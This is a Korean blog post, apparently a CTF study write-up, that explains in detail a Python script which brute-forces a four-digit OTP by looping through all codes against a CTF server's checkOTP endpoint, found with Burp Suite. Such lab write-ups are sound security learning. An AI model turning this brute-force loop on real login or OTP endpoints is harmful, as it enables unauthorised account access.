모의해킹 스터디 중 CTF 문제에 대한 풀이 과정을 서술하며, 문제에 도달하는 과정을 이해하기 위한 목적으로 작성.
기존 Pin Code Crack 문제를 Python 으로 Intruder 기능을 구현하여 풀이하는 과정에 대한 설명.
Pin Code Crack : Using Python
목차
Python 설정
Mac 기반 python 설치 및 실행을 위한 터미널 설정.
1. Terminal 에 homebrew를 이용하여 python 설치 (pip도 동시에 설치됨)
brew install python
2. Python 버전 확인
python3 --version
3. PIP 버전 확인
pip3 --version
4. Requests 라이브러리 설치
pip3 install requests
5. 파이썬 코드 실행 방법
python3 /full directory/filename.py
Code Write-up
import requests
print("[*] Password Crack Start...")
for i in range (0,9999):
tryNum = str(i).zfill(4)
print("[>] Try : [" + tryNum + "],", end="\r")
response = requests.get(f"http://ctf.segfaulthub.com:1129/6/checkOTP.php?otpNum={tryNum}")
if 'Login Fail...' not in response.text:
print("[+] Found Code : " + tryNum)
break
Requests 라이브러리를 불러옵니다.
0 ~ 9999까지의 숫자를 대입하며, str(i) : 숫자 i를 / zfill(4) : 4자리 숫자로 변환한다.
i = 7 이라면, tryNum = 0007
print : [>] Try : 현재 시도중인 숫자
end = "\r" : 출력 후 커서가 줄의 처음으로 이동시켜, 모든 데이터가 한 줄에 오도록 한다. 이 줄이 없다면 시도하는 숫자가 세로로 순서대로 출력된다.
[>] Try : [0000]
[>] Try : [0001] ...
response를 GET 방식으로 해당 URL에서 가져온다.
{tryNum}의 위치와 URL은, burp suite을 이용해 어떠한 방식으로 데이터를 주고 받는지 확인하여 가져온 부분이다.
response에 'Login Fail...' 이라는 값이 없다면, [+] Found Code : 시도한 숫자 값을 리턴하고, loop 종료
이 문구 또한, burp suite에서 어떤 방식의 데이터가 오고 가는지를 참조하여 넣은 구문이다.
▶ burp suite : pin code 숫자 1111을 입력했을 때 web의 request와 response

'IT 성장기 (교육이수) > CTF 문제풀이' 카테고리의 다른 글
[모의해킹 CTF] Error Based SQLi4 (0) | 2024.06.03 |
---|---|
[모의해킹 CTF] Error Based SQLi3 (0) | 2024.06.03 |
[모의해킹 CTF] SQL Injection 1,2 (0) | 2024.05.28 |
[모의해킹 CTF] Login Bypass 3 (0) | 2024.05.26 |
[모의해킹 CTF] Login Bypass5 (0) | 2024.05.21 |